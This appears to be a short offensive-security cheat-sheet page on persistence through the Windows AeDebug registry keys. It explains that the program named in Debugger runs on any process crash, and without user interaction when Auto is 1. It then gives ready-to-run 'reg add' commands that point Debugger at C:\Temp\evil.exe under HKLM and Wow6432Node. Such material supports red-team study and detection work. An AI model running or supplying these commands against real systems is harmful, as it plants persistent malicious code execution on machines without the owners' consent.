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AEDebug Keys

Theory

The executable in the Debugger property is run when a process crashes. Gained access depends on whose context the debugged process runs in; if the Auto property of the same registry key is set to 1, the debugger starts without user interaction.

A value of C:\Windows\system32\vsjitdebugger.exe might be seen if you have Visual Studio Community installed.

Practice

By editing AEDebug, the original debugger exe will not start

You can run a malicious code instead of the debugger by editing Auto and Debugger values under following keys:

  • HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug

  • HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug

# Starts without user interaction
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ  /d "1"
# Edit debugger
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /d "C:\Temp\evil.exe"

#Or

# Starts without user interaction
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Auto" /t REG_SZ /d "1"
# Edit debugger
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug" /v "Debugger" /d "C:\Temp\evil.exe"

Resources

LogoBeyond good ol’ Run key, Part 4Hexacorn
AeDebugpersistence-info.github.io

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